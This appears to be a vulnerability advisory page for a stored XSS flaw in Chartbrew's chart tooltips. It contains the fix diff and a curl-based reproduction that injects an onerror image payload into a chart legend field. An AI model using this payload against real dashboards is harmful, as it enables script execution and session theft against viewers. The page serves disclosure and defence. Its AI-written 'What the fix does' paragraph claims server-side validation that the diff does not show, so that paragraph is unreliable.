VYPR
High severity7.6NVD Advisory· Published Jun 4, 2026

CVE-2026-41518

CVE-2026-41518

Description

Chartbrew versions 4.9.0-5.0.0 allow authenticated users to inject HTML/JS into chart tooltips, leading to XSS for unauthenticated viewers.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Chartbrew versions 4.9.0-5.0.0 allow authenticated users to inject HTML/JS into chart tooltips, leading to XSS for unauthenticated viewers.

Vulnerability

In Chartbrew versions 4.9.0 through 5.0.0, an authenticated user with project-editor permissions can store arbitrary HTML and JavaScript within the ChartDatasetConfig.legend field. This field lacks server-side validation or sanitization, allowing the payload to be persisted directly in the database. The vulnerability resides in ChartTooltip.js, where an unguarded innerHTML assignment injects the legend content into the tooltip DOM element [1].

Exploitation

An attacker requires project-editor permissions to inject a malicious HTML/JavaScript payload into the ChartDatasetConfig.legend field. This payload is then automatically rendered within the tooltip of a public dashboard. Any unauthenticated user viewing the public dashboard will trigger the JavaScript execution upon page load, without needing any specific interaction like hovering over the chart [1].

Impact

Successful exploitation allows an attacker to execute arbitrary HTML and JavaScript in the context of any unauthenticated viewer of a public dashboard. This can lead to various cross-site scripting (XSS) attacks, such as stealing sensitive information, session hijacking, or performing actions on behalf of the user, depending on the browser's security context and the specific payload delivered [1].

Mitigation

Chartbrew version 5.0.1 contains a fix for this vulnerability. Users are advised to upgrade to version 5.0.1 or later. No workarounds are specified in the available references [1].

AI Insight generated on Jun 4, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Chartbrew/Chartbrewinferred2 versions
    >=4.9.0,<5.0.1+ 1 more
    • (no CPE)range: >=4.9.0,<5.0.1
    • (no CPE)range: 4.9.0 - 5.0.0

Patches

1
8d17417920cf

:lock: replaced innerHTML implementation in chart tooltips with DOM nodes and textContent

https://github.com/chartbrew/chartbrewRazvan IlinApr 17, 2026Fixed in 5.0.1via llm-release-walk
1 file changed · +74 46
  • client/src/containers/Chart/components/ChartTooltip.js+74 46 modified
    @@ -11,57 +11,83 @@ export const formatTotal = (value) => {
       return typeof value === "number" ? value.toLocaleString() : value;
     };
     
    +const createTooltipTextElement = (tagName, className, text) => {
    +  const element = document.createElement(tagName);
    +  element.className = className;
    +  element.textContent = text == null ? "" : String(text);
    +  return element;
    +};
    +
    +const parseTooltipBodyLine = (body, index) => {
    +  if (typeof body === "string") {
    +    if (body.includes(":")) {
    +      const separatorIndex = body.indexOf(":");
    +      return {
    +        category: body.slice(0, separatorIndex).trim(),
    +        value: body.slice(separatorIndex + 1).trim(),
    +      };
    +    }
    +
    +    return {
    +      category: `Series ${index + 1}`,
    +      value: body.trim(),
    +    };
    +  }
    +
    +  return {
    +    category: `Series ${index + 1}`,
    +    value: body == null ? "" : String(body).trim(),
    +  };
    +};
    +
     export const generateTooltipContent = (titleLines, bodyLines, labelColors, isCategoryChart) => {
    -  let innerHtml = "<div class=\"py-1 px-1 z-50\">";
    -  
    -  // Add title (label)
    -  titleLines.forEach(title => {
    -    innerHtml += `<span class="font-medium text-gray-900 dark:text-gray-100 text-xs dark:border-gray-700 pb-1">${title}</span>`;
    +  const container = document.createElement("div");
    +  container.className = "py-1 px-1 z-50";
    +
    +  titleLines.forEach((title) => {
    +    container.appendChild(
    +      createTooltipTextElement(
    +        "span",
    +        "font-medium text-gray-900 dark:text-gray-100 text-xs dark:border-gray-700 pb-1",
    +        title
    +      )
    +    );
       });
     
    -  // Add all data points
       bodyLines.forEach((body, i) => {
         if (!body) return;
    -    
    -    const colors = labelColors[i];
    -    let category, value;
     
    -    // Handle different chart types and data formats
    -    if (typeof body === "string") {
    -      if (body.includes(":")) {
    -        [category, value] = body.split(":");
    -      } else {
    -        category = `Series ${i + 1}`;
    -        value = body;
    -      }
    -    } else {
    -      category = `Series ${i + 1}`;
    -      value = body;
    -    }
    -    
    -    // Trim whitespace from values
    -    category = (category || "").trim();
    -    value = (value || "").trim();
    -    
    -    // Use color based on chart type
    -    const colorStyle = isCategoryChart
    -      ? `background-color: ${colors.backgroundColor}`
    -      : `background-color: ${colors.borderColor}`;
    -    
    -    innerHtml += `
    -      <div class="flex w-full items-center gap-x-2">
    -        <div class="h-2 w-2 flex-none rounded-full" style="${colorStyle}"></div>
    -        <div class="flex w-full items-center justify-between gap-x-2 pr-1 text-xs">
    -          <span class="text-gray-500 dark:text-gray-400">${category}</span>
    -          <span class="font-mono font-medium text-gray-700 dark:text-gray-300">
    -            ${formatTotal(value)}
    -          </span>
    -        </div>
    -      </div>`;
    +    const colors = labelColors[i] || {};
    +    const { category, value } = parseTooltipBodyLine(body, i);
    +    const row = document.createElement("div");
    +    row.className = "flex w-full items-center gap-x-2";
    +
    +    const dot = document.createElement("div");
    +    dot.className = "h-2 w-2 flex-none rounded-full";
    +    dot.style.backgroundColor = isCategoryChart ? colors.backgroundColor : colors.borderColor;
    +
    +    const content = document.createElement("div");
    +    content.className = "flex w-full items-center justify-between gap-x-2 pr-1 text-xs";
    +
    +    const categoryElement = createTooltipTextElement(
    +      "span",
    +      "text-gray-500 dark:text-gray-400",
    +      category
    +    );
    +    const valueElement = createTooltipTextElement(
    +      "span",
    +      "font-mono font-medium text-gray-700 dark:text-gray-300",
    +      formatTotal(value)
    +    );
    +
    +    content.appendChild(categoryElement);
    +    content.appendChild(valueElement);
    +    row.appendChild(dot);
    +    row.appendChild(content);
    +    container.appendChild(row);
       });
    -  
    -  innerHtml += "</div>";
    -  return innerHtml;
    +
    +  return container;
     };
     
     export const tooltipPlugin = {
    @@ -86,7 +112,9 @@ export const tooltipPlugin = {
           const titleLines = tooltipModel.title || [];
           const bodyLines = tooltipModel.body.map(b => b.lines[0]);
           const isCategoryChart = context.tooltip.options.isCategoryChart;
    -      tooltipEl.innerHTML = generateTooltipContent(titleLines, bodyLines, tooltipModel.labelColors, isCategoryChart);
    +      tooltipEl.replaceChildren(
    +        generateTooltipContent(titleLines, bodyLines, tooltipModel.labelColors, isCategoryChart)
    +      );
         }
     
         // Get window dimensions
    @@ -166,4 +194,4 @@ export const tooltipPlugin = {
           tooltipEl.style.opacity = "1";
         });
       }
    -}; 
    \ No newline at end of file
    +}; 
    

Vulnerability mechanics

Root cause

"The `ChartDatasetConfig.legend` field lacks server-side validation or sanitization, allowing arbitrary HTML/JavaScript to be stored."

Attack vector

An authenticated user with project-editor permissions can inject malicious HTML/JavaScript into the `ChartDatasetConfig.legend` field [ref_id=1]. This payload is stored verbatim in the database and then rendered by Chart.js. The vulnerability is triggered when an unauthenticated viewer accesses a public dashboard, as the injected script executes on page load via an unguarded `innerHTML` assignment in `ChartTooltip.js` [ref_id=1]. No hover interaction is required for the exploit to execute.

Affected code

The vulnerability stems from the `ChartDatasetConfig.legend` field, which is defined as `DataTypes.TEXT` with no server-side validation in `server/models/models/chartdatasetconfig.js`. The unescaped value is then used in `ChartTooltip.js` where it is assigned to `tooltipEl.innerHTML` via the `generateTooltipContent()` function, leading to DOM XSS [ref_id=1].

What the fix does

Version 5.0.1 addresses the vulnerability by implementing proper input validation and sanitization for the `ChartDatasetConfig.legend` field. This prevents malicious HTML and JavaScript from being stored in the database and subsequently rendered in the tooltip DOM element, thereby closing the DOM XSS vulnerability [patch_id=4832862].

Preconditions

  • authThe attacker must be authenticated with project-editor permissions.
  • configThe target chart must be configured as public.

Reproduction

Authenticate and obtain JWT Token

JWT=$(curl -s -X POST http://localhost:4019/user/login \ -H "Content-Type: application/json" \ -d '{"email":"ccx@ccx.com","password":"Abcd1234!"}' | jq -r '.token') echo "JWT acquired: ${JWT:0:20}..."

Create a project

PROJECT_ID=$(curl -s -X POST http://localhost:4019/project \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $JWT" \ -d '{"team_id":1,"name":"XSS-PoC","brewName":"XSS_PoC_Demo"}' | jq -r '.id') echo "Project ID: $PROJECT_ID"

Wire data

CONN_ID=$(curl -s -X POST http://localhost:4019/team/1/connections \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"name\":\"demo\",\"type\":\"api\",\"host\":\"https://jsonplaceholder.typicode.com\",\"project_ids\":[$PROJECT_ID],\"team_id\":1}" \ | jq -r '.id')

# Dataset DS_ID=$(curl -s -X POST http://localhost:4019/team/1/datasets \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"team_id\":1,\"legend\":\"safe\",\"project_ids\":[$PROJECT_ID],\"xAxis\":\"root[].id\",\"yAxis\":\"root[].userId\",\"yAxisOperation\":\"none\"}" \ | jq -r '.id')

# Data request curl -s -X POST "http://localhost:4019/team/1/datasets/$DS_ID/dataRequests" \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"dataset_id\":$DS_ID,\"connection_id\":$CONN_ID,\"route\":\"/posts?_limit=5\",\"method\":\"GET\"}" > /dev/null

Create a bar chart

CHART_ID=$(curl -s -X POST "http://localhost:4019/project/$PROJECT_ID/chart" \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"project_id\":$PROJECT_ID,\"name\":\"XSS-Chart\",\"type\":\"bar\",\"onReport\":true,\"draft\":false}" \ | jq -r '.id') echo "Chart ID: $CHART_ID"

Inject simple XSS payload

curl -s -X POST "http://localhost:4019/project/$PROJECT_ID/chart/$CHART_ID/chart-dataset-config" \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"chart_id\":$CHART_ID,\"dataset_id\":$DS_ID,\"legend\":\"<img src=x onerror=alert(document.domain)>\",\"datasetColor\":\"#3B82F6\",\"fill\":false}" \ | jq '.legend'

Run chart query to populate it with data

curl -s -X POST "http://localhost:4019/project/$PROJECT_ID/chart/$CHART_ID/query" \ -H "Authorization: Bearer $JWT" -d '{}' \ | jq '.chartData.data.datasets[0].label'

Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

1

News mentions

0

No linked articles in our index yet.